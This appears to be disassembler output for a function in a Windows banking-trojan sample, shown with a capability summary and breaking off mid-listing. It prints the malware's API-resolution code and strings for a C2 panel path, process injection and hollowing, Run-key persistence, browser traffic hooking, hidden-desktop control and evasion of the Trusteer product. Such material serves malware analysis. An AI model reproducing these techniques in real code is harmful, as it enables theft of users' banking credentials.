Function at 0x401008
Capabilities:
Allocate or change rwx memory
Compress data via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 9
push str.127.0.0.1
call fcn.00401000
and dword [0x41ebac], 0
push 0x11
push str._panel_client.php
mov dword [0x41eba8], eax
call fcn.00401000
push 0xa
pop ebx
push ebx
push str.User32.dll
mov dword [0x41eba4], eax
call fcn.00401000
push 0xc
push str.Kernel32.dll
mov dword [0x41eda8], eax
call fcn.00401000
push 0xe
pop esi
push esi
push str.KernelBase.dll
mov dword [0x41edac], eax
call fcn.00401000
push ebx
push str.msvcrt.dll
mov dword [0x41edb0], eax
call fcn.00401000
push 9
push str.ntdll.dll
mov dword [0x41edb4], eax
call fcn.00401000
push 0xb
pop edi
push edi
push str.Shlwapi.dll
mov dword [0x41edb8], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41edbc], eax
push edi
push str.Shell32.dll
call fcn.00401000
push edi
push str.Secur32.dll
mov dword [0x41edc0], eax
call fcn.00401000
push 0xc
push str.Advapi32.dll
mov dword [0x41edc4], eax
call fcn.00401000
push ebx
push str.ws2_32.dll
mov dword [0x41edc8], eax
call fcn.00401000
push edi
push str.version.dll
mov dword [0x41edcc], eax
call fcn.00401000
push 9
push str.Psapi.dll
mov dword [0x41edd0], eax
call fcn.00401000
push edi
push str.wininet.dll
mov dword [0x41edd4], eax
call fcn.00401000
push 9
push str.gdi32.dll
mov dword [0x41edd8], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41eddc], eax
push edi
push str.MessageBoxA
call fcn.00401000
mov dword [0x41edf4], eax
push 0x14
push str.GetWindowsDirectoryA
call fcn.00401000
push 0x13
push 0x4162b8
mov dword [0x41edf8], eax
call fcn.00401000
push ebx
push str.LocalAlloc
mov dword [0x41edf0], eax
call fcn.00401000
push 9
push str.wsprintfA
mov dword [0x41edfc], eax
call fcn.00401000
push 0x13
push 0x4162e4
mov dword [0x41ee00], eax
call fcn.00401000
push 4
push str.free
mov dword [0x41ee04], eax
call fcn.00401000
push esi
push str.VirtualAllocEx
mov dword [0x41ee0c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ee10], eax
push 0x12
pop edi
push edi
push str.WriteProcessMemory
call fcn.00401000
push edi
push str.CreateRemoteThread
mov dword [0x41ee14], eax
call fcn.00401000
push 0xc
push 0x416340
mov dword [0x41ee18], eax
call fcn.00401000
push esi
push 0x416350
mov dword [0x41ee1c], eax
call fcn.00401000
push 0x13
push str.PathRemoveFileSpecA
mov dword [0x41ee20], eax
call fcn.00401000
push edi
push str.GetModuleFileNameA
mov dword [0x41ee24], eax
call fcn.00401000
push 0x11
push str.PathFindFileNameA
mov dword [0x41ee28], eax
call fcn.00401000
push 7
pop ebx
push ebx
push str.strncmp
mov dword [0x41ee2c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ee30], eax
push 9
push str._strnicmp
call fcn.00401000
push 8
push str.lstrlenA
mov dword [0x41ee34], eax
call fcn.00401000
push 0xb
push 0x4163bc
mov dword [0x41ee38], eax
call fcn.00401000
push 0x10
push str.SHGetFolderPathA
mov dword [0x41ee3c], eax
call fcn.00401000
mov dword [0x41ee40], eax
push 8
push str.lstrcpyA
call fcn.00401000
push 8
push 0x4163e8
mov dword [0x41ee44], eax
call fcn.00401000
push 9
push str.CopyFileA
mov dword [0x41ee48], eax
call fcn.00401000
push 0x15
push str.GetVolumeInformationA
mov dword [0x41ee4c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ee50], eax
push esi
push str.GetUserNameExA
call fcn.00401000
push edi
push str.LookupAccountNameA
mov dword [0x41ee54], eax
call fcn.00401000
push 0x16
push str.ConvertSidToStringSidA
mov dword [0x41ee58], eax
call fcn.00401000
push 9
push str.LocalFree
mov dword [0x41ee5c], eax
call fcn.00401000
push 6
push str.malloc
mov dword [0x41ee60], eax
call fcn.00401000
push 9
push str.lstrcmpiA
mov dword [0x41ee08], eax
call fcn.00401000
push 8
push str.lstrcmpA
mov dword [0x41ee68], eax
call fcn.00401000
push ebx
push str.StrStrA
mov dword [0x41ee6c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ee70], eax
push 8
push str.StrStrIA
call fcn.00401000
push 6
push str.strtol
mov dword [0x41ee74], eax
call fcn.00401000
push ebx
push str.realloc
mov dword [0x41ee78], eax
call fcn.00401000
push 0xa
push str.WSAStartup
mov dword [0x41ee7c], eax
call fcn.00401000
push 6
push str.socket
mov dword [0x41ee80], eax
call fcn.00401000
push 0xd
push str.gethostbyname
mov dword [0x41ee84], eax
call fcn.00401000
push 5
push str.htons
mov dword [0x41ee88], eax
call fcn.00401000
push ebx
push str.connect
mov dword [0x41ee8c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ee90], eax
push 4
push str.send
call fcn.00401000
push 4
push str.recv
mov dword [0x41ee94], eax
call fcn.00401000
push 0xb
push str.closesocket
mov dword [0x41ee98], eax
call fcn.00401000
push 0xa
push str.WSACleanup
mov dword [0x41ee9c], eax
call fcn.00401000
push 6
push str.memset
mov dword [0x41eea0], eax
call fcn.00401000
push 6
push str.memcpy
mov dword [0x41eea4], eax
call fcn.00401000
push 5
push 0x416508
mov dword [0x41ee64], eax
call fcn.00401000
push 9
push str.NtOpenKey
mov dword [0x41eea8], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41eeac], eax
push 0xd
push str.NtSetValueKey
call fcn.00401000
push 0xb
push 0x41652c
mov dword [0x41eeb4], eax
call fcn.00401000
push esi
push str.CreateProcessA
mov dword [0x41eeb0], eax
call fcn.00401000
push 0x10
push str.NtCreateThreadEx
mov dword [0x41eeb8], eax
call fcn.00401000
push 0x10
push 0x41655c
mov dword [0x41ef84], eax
call fcn.00401000
push 0xb
push str.FindWindowA
mov dword [0x41ef88], eax
call fcn.00401000
push 0x14
push str.NtUnmapViewOfSection
mov dword [0x41ef8c], eax
call fcn.00401000
push 0x19
push str.NtQueryInformationProcess
mov dword [0x41f04c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f050], eax
push 0x10
push str.GetThreadContext
call fcn.00401000
push 0x10
push str.SetThreadContext
mov dword [0x41f054], eax
call fcn.00401000
push 0x10
push str.SHFileOperationA
mov dword [0x41f058], eax
call fcn.00401000
mov dword [0x41f05c], eax
push esi
push str.FindFirstFileA
call fcn.00401000
push 0xd
push str.FindNextFileA
mov dword [0x41f060], eax
call fcn.00401000
push 0x18
push str.GetWindowThreadProcessId
mov dword [0x41f064], eax
call fcn.00401000
push 0x19
push str.InitializeCriticalSection
mov dword [0x41ef90], eax
call fcn.00401000
push 0xc
push 0x416644
mov dword [0x41eec4], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41eec8], eax
push 0x14
push 0x416654
call fcn.00401000
push 0x14
push 0x41666c
mov dword [0x41eebc], eax
call fcn.00401000
push 6
push str._errno
mov dword [0x41eec0], eax
call fcn.00401000
push ebx
push str.tolower
mov dword [0x41eecc], eax
call fcn.00401000
push ebx
push str.isdigit
mov dword [0x41eed0], eax
call fcn.00401000
push ebx
push str.strtoul
mov dword [0x41eed4], eax
call fcn.00401000
push 8
push str.isxdigit
mov dword [0x41eed8], eax
call fcn.00401000
push 6
push str.strtod
mov dword [0x41eedc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41eee0], eax
push 0x18
push 0x4166b8
call fcn.00401000
push esi
push 0x4166d4
mov dword [0x41eee4], eax
call fcn.00401000
push 0xd
push 0x4166e4
mov dword [0x41eee8], eax
call fcn.00401000
push ebx
push str.StrChrA
mov dword [0x41eeec], eax
call fcn.00401000
push 9
push str.StrToIntA
mov dword [0x41eef0], eax
call fcn.00401000
push 0x10
push str.GetModuleHandleA
mov dword [0x41eef4], eax
call fcn.00401000
push 0x17
push str.GetFileVersionInfoSizeA
mov dword [0x41eef8], eax
call fcn.00401000
mov dword [0x41eefc], eax
push 0x13
pop ebx
push ebx
push str.GetFileVersionInfoA
call fcn.00401000
add esp, 0x40
mov dword [0x41ef00], eax
push esi
push str.VerQueryValueA
call fcn.00401000
push 0x14
push str.GetModuleInformation
mov dword [0x41ef04], eax
call fcn.00401000
push 6
push str.memcmp
mov dword [0x41ef08], eax
call fcn.00401000
push 0x19
push str.ExpandEnvironmentStringsA
mov dword [0x41ef0c], eax
call fcn.00401000
push 0x1e
push str.GetPrivateProfileSectionNamesA
mov dword [0x41ef10], eax
call fcn.00401000
push 0x18
push str.GetPrivateProfileStringA
mov dword [0x41ef14], eax
call fcn.00401000
push 0xb
push 0x4167d0
mov dword [0x41ef18], eax
call fcn.00401000
push 8
push 0x4167dc
mov dword [0x41ef1c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ef20], eax
push 9
push 0x4167e8
call fcn.00401000
push esi
push str.RegSetValueExA
mov dword [0x41ef24], eax
call fcn.00401000
push 0xd
push str.RegOpenKeyExA
mov dword [0x41ef28], eax
call fcn.00401000
push 0xb
push str.RegCloseKey
mov dword [0x41ef2c], eax
call fcn.00401000
push 0xb
push 0x416820
mov dword [0x41ef30], eax
call fcn.00401000
push 0xc
push str.ResumeThread
mov dword [0x41ef34], eax
call fcn.00401000
push esi
push str.IsWow64Process
mov dword [0x41ef38], eax
call fcn.00401000
push ebx
push str.GetNativeSystemInfo
mov dword [0x41ef3c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ef40], eax
push 0xb
push 0x416860
call fcn.00401000
push 0xc
push str.CreateThread
mov dword [0x41ef44], eax
call fcn.00401000
mov dword [0x41ef48], eax
push 0xc
push str.GetUserNameW
call fcn.00401000
push 0x10
push str.GetComputerNameW
mov dword [0x41ef4c], eax
call fcn.00401000
push 0xd
push str.GetVersionExA
mov dword [0x41ef50], eax
call fcn.00401000
push 0x10
push str.CreateNamedPipeA
mov dword [0x41ef54], eax
call fcn.00401000
push 0x10
push str.ConnectNamedPipe
mov dword [0x41ef58], eax
call fcn.00401000
push ebx
push str.DisconnectNamedPipe
mov dword [0x41ef5c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ef60], eax
push 0x11
push str.InternetCrackUrlA
call fcn.00401000
push 0xc
push str.GetTempPathA
mov dword [0x41ef64], eax
call fcn.00401000
push 0x10
push str.GetTempFileNameA
mov dword [0x41ef68], eax
call fcn.00401000
push 0xd
push str.ShellExecuteA
mov dword [0x41ef6c], eax
call fcn.00401000
push 0xb
push str.ioctlsocket
mov dword [0x41ef70], eax
call fcn.00401000
push 5
push str.ntohs
mov dword [0x41ef74], eax
call fcn.00401000
push 0xc
push str.CreateMutexA
mov dword [0x41ef78], eax
call fcn.00401000
push 0xc
push str.ReleaseMutex
mov dword [0x41ef7c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41ef80], eax
push ebx
push 0x416968
call fcn.00401000
push 0xb
push str.EnumWindows
mov dword [0x41ef94], eax
call fcn.00401000
push ebx
push 0x416988
mov dword [0x41ef98], eax
call fcn.00401000
push 0xb
push str.DeleteFileA
mov dword [0x41ef9c], eax
call fcn.00401000
push 0xf
pop ebx
push ebx
push str.PathFileExistsA
mov dword [0x41efa0], eax
call fcn.00401000
mov dword [0x41efa4], eax
push 0x10
push str.CreateDirectoryA
call fcn.00401000
push esi
push str.HttpQueryInfoA
mov dword [0x41efa8], eax
call fcn.00401000
push esi
push str.HttpQueryInfoW
mov dword [0x41efac], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41efb0], eax
push 0x11
push str.RtlCompressBuffer
call fcn.00401000
push 0x1e
push str.RtlGetCompressionWorkSpaceSize
mov dword [0x41efb4], eax
call fcn.00401000
push 0x10
push str.SetThreadDesktop
mov dword [0x41efb8], eax
call fcn.00401000
push esi
push str.CreateDesktopA
mov dword [0x41efbc], eax
call fcn.00401000
push 0xc
push str.OpenDesktopA
mov dword [0x41efc0], eax
call fcn.00401000
push ebx
push str.TerminateThread
mov dword [0x41efc4], eax
call fcn.00401000
push 0xc
push str.PostMessageA
mov dword [0x41efc8], eax
call fcn.00401000
push 0xc
push str.SendMessageA
mov dword [0x41efcc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41efd0], eax
push 0x14
push str.ChildWindowFromPoint
call fcn.00401000
push esi
push str.ScreenToClient
mov dword [0x41efd4], eax
call fcn.00401000
push 0xa
push str.MoveWindow
mov dword [0x41efd8], eax
call fcn.00401000
push 0xd
push str.GetWindowRect
mov dword [0x41efdc], eax
call fcn.00401000
push 0xd
push str.GetMenuItemID
mov dword [0x41efe0], eax
call fcn.00401000
push 0x11
push str.MenuItemFromPoint
mov dword [0x41efe4], eax
call fcn.00401000
push 0x13
push str.RealGetWindowClassA
mov dword [0x41efe8], eax
call fcn.00401000
push 8
push str.PtInRect
mov dword [0x41efec], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41eff0], eax
push edi
push str.GetWindowPlacement
call fcn.00401000
push esi
push str.SetWindowLongA
mov dword [0x41eff4], eax
call fcn.00401000
push esi
push str.GetWindowLongA
mov dword [0x41eff8], eax
call fcn.00401000
push ebx
push str.WindowFromPoint
mov dword [0x41effc], eax
call fcn.00401000
push ebx
push str.SHAppBarMessage
mov dword [0x41f000], eax
call fcn.00401000
push 0x10
push str.RegQueryValueExA
mov dword [0x41f004], eax
call fcn.00401000
push 0x10
push str.GetDesktopWindow
mov dword [0x41f008], eax
call fcn.00401000
push 8
push str.DeleteDC
mov dword [0x41f00c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f010], eax
push 9
push str.ReleaseDC
call fcn.00401000
push 0xc
push str.DeleteObject
mov dword [0x41f014], eax
call fcn.00401000
push 9
push str.GetDIBits
mov dword [0x41f018], eax
call fcn.00401000
push 0xa
push str.StretchBlt
mov dword [0x41f01c], eax
call fcn.00401000
push 0x11
push str.SetStretchBltMode
mov dword [0x41f020], eax
call fcn.00401000
push 0xc
push str.SelectObject
mov dword [0x41f024], eax
call fcn.00401000
push edi
push str.CreateCompatibleDC
mov dword [0x41f028], eax
call fcn.00401000
push 0x16
push str.CreateCompatibleBitmap
mov dword [0x41f02c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f030], eax
push 5
push 0x416c18
call fcn.00401000
push ebx
push str.IsWindowVisible
mov dword [0x41f034], eax
call fcn.00401000
push 9
push str.GetWindow
mov dword [0x41f038], eax
call fcn.00401000
push 0xb
push str.PrintWindow
mov dword [0x41f03c], eax
call fcn.00401000
push 0xc
mov dword [0x41f044], eax
push str.GetTopWindow
call fcn.00401000
push 0x11
push str.RtlInitAnsiString
mov dword [0x41f048], eax
call fcn.00401000
push 0x1c
push str.RtlAnsiStringToUnicodeString
mov dword [0x41f068], eax
call fcn.00401000
push 0xa
push str.LdrLoadDll
mov dword [0x41f06c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f070], eax
push 0x16
push str.LdrGetProcedureAddress
call fcn.00401000
push 0x14
push str.RtlFreeUnicodeString
mov dword [0x41f074], eax
call fcn.00401000
push 0x13
push str.RtlCreateUserThread
mov dword [0x41f078], eax
call fcn.00401000
push 0xb
push str.Hello_World
mov dword [0x41f07c], eax
call fcn.00401000
push 4
push str..exe
mov dword [0x41f080], eax
call fcn.00401000
push 1
push 0x416cf0
mov dword [0x41f084], eax
call fcn.00401000
push 5
push 0x416cf4
mov dword [0x41f088], eax
call fcn.00401000
push 4
push str.GET
mov dword [0x41f08c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f090], eax
push 0xb
push str._HTTP_1.1_r_n
call fcn.00401000
push 6
push str.Host:
mov dword [0x41f094], eax
call fcn.00401000
push 0x40
push str._r_nPragma:_no_cache_r_nContent_type:_text_html_r_nConnection:_close_r_n
mov dword [0x41f098], eax
call fcn.00401000
push 0x10
push str.Content_Length:
mov dword [0x41f09c], eax
call fcn.00401000
push ebx
push str.HTTP_1.1_200_OK
mov dword [0x41f0a0], eax
call fcn.00401000
push 2
push 0x416d80
mov dword [0x41f0a4], eax
call fcn.00401000
push esi
push str.Content_Length
mov dword [0x41f0a8], eax
call fcn.00401000
mov ebx, eax
push 0x11
push str.Transfer_Encoding
mov dword [0x41f0ac], ebx
call fcn.00401000
add esp, 0x40
push 7
pop esi
mov edi, eax
push esi
push str.chunked
mov dword [0x41f0b0], edi
call fcn.00401000
push 2
push 0x416db0
mov dword [0x41f0b4], eax
call fcn.00401000
push 2
push 0x416db4
mov dword [0x41f0b8], eax
call fcn.00401000
push 0x14
push str.RegistryUser_s_s
mov dword [0x41f0bc], eax
call fcn.00401000
push 0x2d
push str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [0x41f0c0], eax
call fcn.00401000
push 0xb
push str.dllhost.exe
mov dword [0x41f0c4], eax
call fcn.00401000
push 4
push str.ping
mov dword [0x41f0c8], eax
call fcn.00401000
push 9
push str.binint32
mov dword [0x41f0cc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f0d0], eax
push 9
push str.binint64
call fcn.00401000
push 0xc
push str.explorer.exe
mov dword [0x41f0d4], eax
call fcn.00401000
push 0xb
push str.firefox.exe
mov dword [0x41f0d8], eax
call fcn.00401000
push 0xa
push str.chrome.exe
mov dword [0x41f0dc], eax
call fcn.00401000
push 0xc
push str.iexplore.exe
mov dword [0x41f0e0], eax
call fcn.00401000
push 0x88
push str.powershell__noexit__command___console_::windowwidth__100__console_::windowheight__30___console_::bufferwidth___console_::windowwidth_
mov dword [0x41f0ec], eax
call fcn.00401000
push 0xa
push str.msedge.exe
mov dword [0x41f0f0], eax
call fcn.00401000
push 9
push str.brave.exe
mov dword [0x41f0e4], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f0e8], eax
push esi
push str.injects
call fcn.00401000
push esi
push str.Firefox
mov dword [0x41f0f4], eax
call fcn.00401000
push 6
push str.Chrome
mov dword [0x41f0fc], eax
call fcn.00401000
push 0x11
push str.Internet_Explorer
mov dword [0x41f0f8], eax
call fcn.00401000
push 0xa
push str.chrome.dll
mov dword [0x41f100], eax
call fcn.00401000
push 6
push str.BitBlt
mov dword [0x41f104], eax
call fcn.00401000
push 8
push str.nss3.dll
mov dword [0x41f040], eax
call fcn.00401000
push 9
push str.nspr4.dll
mov dword [0x41f108], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f10c], eax
push esi
push str.PR_Read
call fcn.00401000
push 8
push str.PR_Write
mov dword [0x41f110], eax
call fcn.00401000
push 6
push str..rdata
mov dword [0x41f114], eax
call fcn.00401000
push 0x12
push str._r_nContent_Length:
mov dword [0x41f118], eax
call fcn.00401000
mov esi, eax
push 0xf
push str.Accept_Encoding
mov dword [0x41f11c], esi
call fcn.00401000
push 8
push str.identity
mov dword [0x41f120], eax
call fcn.00401000
push 0xa
push str.Connection
mov dword [0x41f124], eax
mov dword [0x41f128], ebx
mov dword [0x41f12c], edi
call fcn.00401000
push 5
push str.close
mov dword [0x41f130], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f134], eax
push 0x10
pop ebx
push ebx
push str._r_nContent_Type:
call fcn.00401000
push 9
pop edi
push edi
push str.text_html
mov dword [0x41f138], eax
call fcn.00401000
push 0xc
push str._r_nLocation:
mov dword [0x41f13c], eax
call fcn.00401000
push 0x17
push str.X_HeyThere:_5eYEp80n3hM
mov dword [0x41f140], eax
mov dword [0x41f144], esi
call fcn.00401000
push 4
mov dword [0x41f148], eax
pop esi
push esi
push str._r_n_r_n
call fcn.00401000
push edi
push str._r_n_s:__r_n
mov dword [0x41f14c], eax
call fcn.00401000
mov dword [0x41f150], eax
mov eax, dword [0x41f0a8]
push 8
push str._r_nHost:
mov dword [0x41f154], eax
call fcn.00401000
push 0xa
push str.http_s_:__
mov dword [0x41f158], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f15c], eax
push 0xd
push str.log_s_s_d
call fcn.00401000
push esi
push str.POST
mov dword [0x41f160], eax
call fcn.00401000
push edi
push str.__DOCTYPE
mov dword [0x41f164], eax
call fcn.00401000
push 0x3d
push str._script_window.location.href__window.location.href___script_
mov dword [0x41f168], eax
call fcn.00401000
push 0x13
push str.InternetCloseHandle
mov dword [0x41f16c], eax
call fcn.00401000
push 0x1a
push str.InternetQueryDataAvailable
mov dword [0x41f170], eax
call fcn.00401000
push ebx
push str.HttpOpenRequestW
mov dword [0x41f174], eax
call fcn.00401000
push ebx
push str.InternetConnectW
mov dword [0x41f178], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f17c], eax
push ebx
push str.HttpSendRequestW
call fcn.00401000
push ebx
push str.InternetReadFile
mov dword [0x41f180], eax
call fcn.00401000
push 0x13
push str.InternetReadFileExW
mov dword [0x41f184], eax
call fcn.00401000
push 0x11
push str.InternetWriteFile
mov dword [0x41f188], eax
call fcn.00401000
push edi
push str._appdata_
mov dword [0x41f18c], eax
call fcn.00401000
push 0xf
push str._s_s_s_s.ini
mov dword [0x41f190], eax
call fcn.00401000
push 7
push str.Mozilla
mov dword [0x41f194], eax
call fcn.00401000
mov dword [0x41f198], eax
mov eax, dword [0x41f0fc]
push 8
push str.Profiles
mov dword [0x41f19c], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f1a0], eax
push 7
push str.Profile
call fcn.00401000
push esi
push 0x41717c
mov dword [0x41f1a4], eax
call fcn.00401000
push 0x14
push str._s_s_s_s_s_s.js
mov dword [0x41f1a8], eax
call fcn.00401000
push 5
push str.prefs
mov dword [0x41f1ac], eax
call fcn.00401000
push 0x19
push str.network.http.spdy.enabled
mov dword [0x41f1b0], eax
call fcn.00401000
push 0x1d
push str.browser.tabs.remote.autostart
mov dword [0x41f1b4], eax
call fcn.00401000
push 0x15d
push str.user_pref__network.http.spdy.enabled.v3_1___false___r_nuser_pref__network.http.spdy.enabled.v3___false___r_nuser_pref__network.http.spdy.enabled___false___r_nuser_pref__browser.tabs.remote.autostart___false___r_nuser_pref__browser.tabs.remote.autostart.2___false___r_nuser_pref__gfx.direct2d.disabled___true___r_nuser_pref__layers.acceleration.disabled___true__
mov dword [0x41f1b8], eax
call fcn.00401000
push 0x29
push str.SoftwareMicrosoftInternet_ExplorerMain
mov dword [0x41f1bc], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f1c0], eax
push 0xd
push str.TabProcGrowth
call fcn.00401000
push 0x43
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
mov dword [0x41f1c4], eax
call fcn.00401000
push esi
push str.2500
mov dword [0x41f1c8], eax
call fcn.00401000
push 0x2e
push str.___disable_http2___use_spdyoff___disable_quic
mov dword [0x41f1cc], eax
call fcn.00401000
push 0x16
push str.CreateProcessInternalW
mov dword [0x41f1d0], eax
call fcn.00401000
push 0x15
push str.NoProtectedModeBanner
mov dword [0x41f1d4], eax
call fcn.00401000
push 6
push str.32768
mov dword [0x41f1d8], eax
call fcn.00401000
push 0x1d
push str._rundll32.exe_shell32.dll_61
mov dword [0x41f1f4], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f1f8], eax
push 0x3b
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
call fcn.00401000
push ebx
push str.TaskbarGlomLevel
mov dword [0x41f1fc], eax
call fcn.00401000
mov dword [0x41f200], eax
push 0xc
push str.profiles.ini
call fcn.00401000
push edi
push str._profile
mov dword [0x41f204], eax
call fcn.00401000
push 0xf
push str.GoogleChrome_
mov dword [0x41f208], eax
call fcn.00401000
push 0x11
push str.cmd.exe__c_start
mov dword [0x41f20c], eax
call fcn.00401000
push 0x65
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
mov dword [0x41f210], eax
call fcn.00401000
push 0xa
push str.User_Data_
mov dword [0x41f214], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f218], eax
push 0x11
push str.MozillaFirefox_
call fcn.00401000
push 0xb
push str.IsRelative
mov dword [0x41f21c], eax
call fcn.00401000
push 5
push str.Path
mov dword [0x41f220], eax
call fcn.00401000
push 0x15
push str.__no_remote__profile
mov dword [0x41f224], eax
call fcn.00401000
push 0x1c
push str.info_d_d_d_d_s_s_d_d
mov dword [0x41f228], eax
call fcn.00401000
push 0xb
push str..pipe_s
mov dword [0x41f230], eax
call fcn.00401000
push esi
push str.open
mov dword [0x41f234], eax
call fcn.00401000
push 0xd
push str.Shell_TrayWnd
mov dword [0x41f238], eax
call fcn.00401000
add esp, 0x40
mov dword [0x41f240], eax
push 0xc
push str.verclsid.exe
call fcn.00401000
push 2
push 0x4175f0
mov dword [0x41f244], eax
call fcn.00401000
push 2
push 0x4175f4
mov dword [0x41f248], eax
call fcn.00401000
push edi
push str.child.dll
mov dword [0x41f24c], eax
call fcn.00401000
push ebx
push str.:Zone.Identifier
mov dword [0x41f250], eax
call fcn.00401000
push 8
push str.Trusteer
mov dword [0x41f254], eax
call fcn.00401000
add esp, 0x30
push dword [0x41ee1c]
mov dword [0x41f258], eax
push dword [0x41edac]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push dword [0x41eda8]
mov dword [0x41e958], eax
call eax
push dword [0x41edac]
mov dword [ebp - 0xc], eax
call dword [0x41e958]
push dword [0x41edb4]
mov dword [ebp - 4], eax
call dword [0x41e958]
push dword [0x41edb8]
mov dword [ebp - 0x1c], eax
call dword [0x41e958]
push dword [0x41edbc]
mov dword [ebp - 0x10], eax
call dword [0x41e958]
push dword [0x41edc0]
mov dword [ebp - 8], eax
call dword [0x41e958]
push dword [0x41edc4]
mov dword [ebp - 0x14], eax
call dword [0x41e958]
push dword [0x41edc8]
mov edi, eax
call dword [0x41e958]
push dword [0x41edcc]
mov dword [ebp - 0x18], eax
call dword [0x41e958]
push dword [0x41edd0]
mov dword [ebp - 0x20], eax
call dword [0x41e958]
push dword [0x41edd4]
mov ebx, eax
call dword [0x41e958]
push dword [0x41edd8]
mov dword [ebp - 0x24], eax
call dword [0x41e958]
push dword [0x41eddc]
mov dword [ebp - 0x28], eax
call dword [0x41e958]
push dword [0x41ee20]
mov dword [ebp - 0x2c], eax
push dword [ebp - 4]
call esi
push dword [0x41edf4]
mov esi, dword [ebp - 0xc]
push esi
mov dword [0x41e95c], eax
call eax
push dword [0x41edf8]
mov dword [0x41e92c], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41edf0]
mov dword [0x41e930], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41edfc]
mov dword [0x41e934], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee00]
mov dword [0x41e938], eax
push esi
call dword [0x41e95c]
push dword [0x41ee04]
mov dword [0x41e93c], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee08]
mov esi, dword [ebp - 0x1c]
push esi
mov dword [0x41e940], eax
call dword [0x41e95c]
mov dword [0x41e944], eax
push dword [0x41ee0c]
push esi
call dword [0x41e95c]
push dword [0x41ee10]
mov dword [0x41e948], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee14]
mov dword [0x41e94c], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee18]
mov dword [0x41e950], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee24]
mov dword [0x41e954], eax
push dword [ebp - 8]
call dword [0x41e95c]
push dword [0x41ee28]
mov dword [0x41e960], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee2c]
mov dword [0x41e964], eax
push dword [ebp - 8]
call dword [0x41e95c]
push dword [0x41ee30]
mov dword [0x41e968], eax
push esi
call dword [0x41e95c]
push dword [0x41ee34]
mov dword [0x41e96c], eax
push esi
call dword [0x41e95c]
push dword [0x41ee38]
mov dword [0x41e970], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee3c]
mov dword [0x41e974], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee40]
mov dword [0x41e978], eax
push dword [ebp - 0x14]
call dword [0x41e95c]
push dword [0x41ee44]
mov dword [0x41e97c], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee48]
mov dword [0x41e980], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee4c]
mov dword [0x41e984], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee50]
mov dword [0x41e988], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ee54]
mov dword [0x41e98c], eax
push edi
call dword [0x41e95c]
push dword [0x41ee58]
mov edi, dword [ebp - 0x18]
push edi
mov dword [0x41e990], eax
call dword [0x41e95c]
push dword [0x41ee5c]
mov dword [0x41e994], eax
push edi
call dword [0x41e95c]
push dword [0x41ee60]
mov edi, dword [ebp - 4]
push edi
mov dword [0x41e998], eax
call dword [0x41e95c]
push dword [0x41ee64]
mov dword [0x41e99c], eax
push esi
call dword [0x41e95c]
push dword [0x41ee6c]
mov dword [0x41e9a0], eax
push edi
call dword [0x41e95c]
push dword [0x41ee68]
mov dword [0x41e9a8], eax
push edi
call dword [0x41e95c]
push dword [0x41ee70]
mov edi, dword [ebp - 8]
push edi
mov dword [0x41e9a4], eax
call dword [0x41e95c]
push dword [0x41ee74]
mov dword [0x41e9ac], eax
push edi
call dword [0x41e95c]
push dword [0x41ee78]
mov dword [0x41e9b0], eax
push esi
call dword [0x41e95c]
push dword [0x41ee7c]
mov dword [0x41e9b4], eax
push esi
call dword [0x41e95c]
push dword [0x41ee80]
mov edi, dword [ebp - 0x20]
push edi
mov dword [0x41e9b8], eax
call dword [0x41e95c]
push dword [0x41ee84]
mov dword [0x41e9bc], eax
push edi
call dword [0x41e95c]
push dword [0x41ee88]
mov dword [0x41e9c0], eax
push edi
call dword [0x41e95c]
push dword [0x41ee8c]
mov dword [0x41e9c4], eax
push edi
